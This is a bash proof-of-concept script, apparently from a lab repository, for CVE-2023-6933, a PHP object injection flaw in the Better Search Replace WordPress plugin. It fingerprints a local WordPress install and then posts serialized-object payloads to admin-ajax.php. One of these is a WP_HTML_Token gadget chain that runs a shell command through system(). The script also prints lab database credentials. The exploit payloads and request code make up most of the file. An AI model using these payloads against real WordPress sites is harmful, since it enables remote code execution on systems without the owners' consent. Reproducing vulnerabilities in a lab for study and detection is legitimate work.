README.md
README.md not found for CVE-2023-6933. The file may not exist in the repository.
#!/bin/bash
# CVE-2023-6933 Manual Testing Script
# Author: Trex
# Description: Comprehensive manual testing for Better Search Replace vulnerability
set -e
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# Configuration
WORDPRESS_URL="http://localhost:8080"
PHPMYADMIN_URL="http://localhost:8081"
TIMEOUT=30
VULN_FOUND=false
echo -e "${BLUE}========================================${NC}"
echo -e "${BLUE} CVE-2023-6933 Manual Testing Script ${NC}"
echo -e "${BLUE}========================================${NC}"
echo ""
# Function to check if URL is accessible
check_url() {
local url=$1
local name=$2
echo -n "Checking $name... "
local status_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 10 "$url")
if [ "$status_code" = "200" ]; then
echo -e "${GREEN}✓ OK (HTTP $status_code)${NC}"
return 0
else
echo -e "${RED}✗ FAILED (HTTP $status_code)${NC}"
return 1
fi
}
# Function to test endpoint with custom payload
test_endpoint() {
local url=$1
local payload=$2
local description=$3
echo -n "Testing $description... "
local response=$(curl -s -w "%{http_code}" -X POST "$url" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "$payload" --max-time 10)
local status_code="${response: -3}"
local body="${response%???}"
if [ "$status_code" = "200" ] || [ "$status_code" = "500" ]; then
echo -e "${GREEN}✓ Response received (HTTP $status_code)${NC}"
# Check for vulnerability indicators - proper POC approach
if echo "$body" | grep -q "replaced successfully\|Total rows examined\|Database updated\|search_replace" && [ "$status_code" = "200" ]; then
echo -e " ${GREEN}✓ Payload processed successfully${NC}"
# Check if our serialized object was processed (not just error-based detection)
if echo "$payload" | grep -q "O:[0-9]"; then
echo -e " ${RED}🚨 VULNERABILITY CONFIRMED! CVE-2023-6933 DETECTED${NC}"
echo -e " ${YELLOW}PHP Object Injection successful - serialized data processed${NC}"
VULN_FOUND=true
fi
elif echo "$body" | grep -q "Fatal error\|Parse error\|Notice:\|Warning:" || [ "$status_code" = "500" ]; then
echo -e " ${YELLOW}⚠️ Error response detected (may indicate processing)${NC}"
if echo "$payload" | grep -q "O:[0-9]"; then
echo -e " ${YELLOW}Potential vulnerability - object injection caused error${NC}"
fi
fi
if [ ${#body} -gt 0 ] && [ ${#body} -lt 200 ]; then
echo -e " ${YELLOW}Response: $body${NC}"
fi
return 0
else
echo -e "${RED}✗ Unexpected response (HTTP $status_code)${NC}"
return 1
fi
}
# Step 1: Service Health Check
echo -e "${YELLOW}=== Step 1: Service Health Check ===${NC}"
echo ""
check_url "$WORDPRESS_URL" "WordPress"
check_url "$PHPMYADMIN_URL" "phpMyAdmin"
check_url "$WORDPRESS_URL/wp-admin/" "WordPress Admin"
echo ""
# Step 2: WordPress Information Gathering
echo -e "${YELLOW}=== Step 2: WordPress Information Gathering ===${NC}"
echo ""
echo -n "WordPress version check... "
wp_version=$(curl -s "$WORDPRESS_URL" | grep -i "generator" | grep -o "WordPress [0-9.]*" | head -1)
if [ -n "$wp_version" ]; then
echo -e "${GREEN}✓ Found: $wp_version${NC}"
else
echo -e "${YELLOW}! Version not detected in meta tags${NC}"
fi
echo -n "Better Search Replace plugin check... "
plugin_response=$(curl -s -w "%{http_code}" "$WORDPRESS_URL/wp-content/plugins/better-search-replace/" --max-time 10)
plugin_status="${plugin_response: -3}"
if [ "$plugin_status" = "200" ] || [ "$plugin_status" = "403" ]; then
echo -e "${GREEN}✓ Plugin directory accessible${NC}"
else
echo -e "${YELLOW}! Plugin directory not accessible (HTTP $plugin_status)${NC}"
fi
echo -n "WordPress readme check... "
readme_response=$(curl -s "$WORDPRESS_URL/readme.html" | grep -i "version" | head -1)
if [ -n "$readme_response" ]; then
echo -e "${GREEN}✓ Found readme.html${NC}"
else
echo -e "${YELLOW}! readme.html not found or no version info${NC}"
fi
echo ""
# Step 3: Admin-Ajax Endpoint Testing
echo -e "${YELLOW}=== Step 3: Admin-Ajax Endpoint Testing ===${NC}"
echo ""
# Test 1: Basic admin-ajax accessibility
echo -n "Basic admin-ajax test... "
ajax_response=$(curl -s -w "%{http_code}" "$WORDPRESS_URL/wp-admin/admin-ajax.php" --max-time 10)
ajax_status="${ajax_response: -3}"
if [ "$ajax_status" = "400" ] || [ "$ajax_status" = "500" ] || [ "$ajax_status" = "200" ]; then
echo -e "${GREEN}✓ admin-ajax.php is accessible (HTTP $ajax_status)${NC}"
else
echo -e "${RED}✗ admin-ajax.php not accessible (HTTP $ajax_status)${NC}"
fi
# Test 2: BSR search-replace action test
test_endpoint "$WORDPRESS_URL/wp-admin/admin-ajax.php" \
"action=bsr_search_replace&search_for=test&replace_with=replacement&dry_run=1" \
"BSR search-replace action"
# Test 3: Basic object injection test with proper BSR parameters
test_endpoint "$WORDPRESS_URL/wp-admin/admin-ajax.php" \
"action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"injected\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1" \
"Basic PHP Object Injection via search_for"
# Test 4: WP_HTML_Token RCE payload (WordPress 6.4.0+)
wp_html_token_payload=$(python3 -c "
import urllib.parse
cmd = 'echo nuclei_test > /tmp/bsr_test.txt'
payload = f'O:13:\"WP_HTML_Token\":4:{{s:13:\"bookmark_name\";s:{len(cmd)}:\"{cmd}\";s:9:\"node_name\";s:8:\"testnode\";s:21:\"has_self_closing_flag\";b:0;s:10:\"on_destroy\";s:6:\"system\";}}'
print(urllib.parse.quote(payload))
")
test_endpoint "$WORDPRESS_URL/wp-admin/admin-ajax.php" \
"action=bsr_search_replace&search_for=${wp_html_token_payload}&replace_with=safe&select_tables[]=wp_posts&dry_run=1" \
"WP_HTML_Token RCE Payload"
echo ""
# Step 4: Database Connectivity Test
echo -e "${YELLOW}=== Step 4: Database Connectivity Test ===${NC}"
echo ""
echo -n "phpMyAdmin login page... "
pma_response=$(curl -s "$PHPMYADMIN_URL" | grep -i "phpmyadmin\|login\|username")
if [ -n "$pma_response" ]; then
echo -e "${GREEN}✓ phpMyAdmin login page accessible${NC}"
else
echo -e "${YELLOW}! phpMyAdmin login page check inconclusive${NC}"
fi
echo ""
# Step 5: Vulnerability Confirmation Tests
echo -e "${YELLOW}=== Step 5: Vulnerability Confirmation Tests ===${NC}"
echo ""
# Test multiple BSR-specific payloads using correct action and parameters
payloads=(
"action=bsr_search_replace&search_for=a:1:{i:0;O:8:\"stdClass\":0:{}}&replace_with=test&select_tables[]=wp_options&dry_run=1"
"action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"prop\";s:5:\"value\";}&replace_with=replacement&select_tables[]=wp_posts&dry_run=1"
"action=bsr_search_replace&search_for=a:2:{s:4:\"test\";O:8:\"stdClass\":0:{};s:3:\"key\";s:5:\"value\";}&replace_with=safe&select_tables[]=wp_postmeta&dry_run=1"
)
payload_descriptions=(
"Array with embedded object (wp_options)"
"Direct object injection (wp_posts)"
"Complex array structure (wp_postmeta)"
)
for i in "${!payloads[@]}"; do
test_endpoint "$WORDPRESS_URL/wp-admin/admin-ajax.php" \
"${payloads[$i]}" \
"${payload_descriptions[$i]}"
done
echo ""
# Step 6: Summary and Recommendations
echo -e "${YELLOW}=== Step 6: Testing Summary ===${NC}"
echo ""
if [ "$VULN_FOUND" = true ]; then
echo -e "${RED}🚨 VULNERABILITY CONFIRMED! 🚨${NC}"
echo -e "${RED}CVE-2023-6933: PHP Object Injection in Better Search Replace plugin${NC}"
echo -e "${YELLOW}The lab environment successfully reproduces the vulnerability${NC}"
echo ""
echo -e "${GREEN}✅ Test Status: SUCCESS - Vulnerability present and exploitable${NC}"
else
echo -e "${YELLOW}⚠️ No clear vulnerability indicators detected${NC}"
echo -e "${YELLOW}This could mean:${NC}"
echo " - Plugin is patched/not vulnerable"
echo " - Different payload required"
echo " - Environment configuration issue"
echo ""
echo -e "${YELLOW}⚠️ Test Status: INCONCLUSIVE - Manual review recommended${NC}"
fi
echo ""
echo -e "${BLUE}Manual testing completed!${NC}"
echo ""
echo -e "${YELLOW}Next steps:${NC}"
echo "1. Run nuclei automated test:"
echo " nuclei -t nuclei-templates/cve-2023-6933.yaml -target $WORDPRESS_URL"
echo ""
echo "2. Access web interfaces:"
echo " - WordPress: $WORDPRESS_URL"
echo " - phpMyAdmin: $PHPMYADMIN_URL (root/rootpassword)"
echo ""
echo "3. Check container logs for errors:"
echo " docker logs wordpress-dev"
echo ""
if [ "$VULN_FOUND" = true ]; then
echo -e "${RED}🎯 IMPORTANT: This is a vulnerable environment for educational purposes only!${NC}"
echo -e "${RED}Do not use in production environments.${NC}"
echo ""
fi
echo -e "${GREEN}Manual testing script finished!${NC}"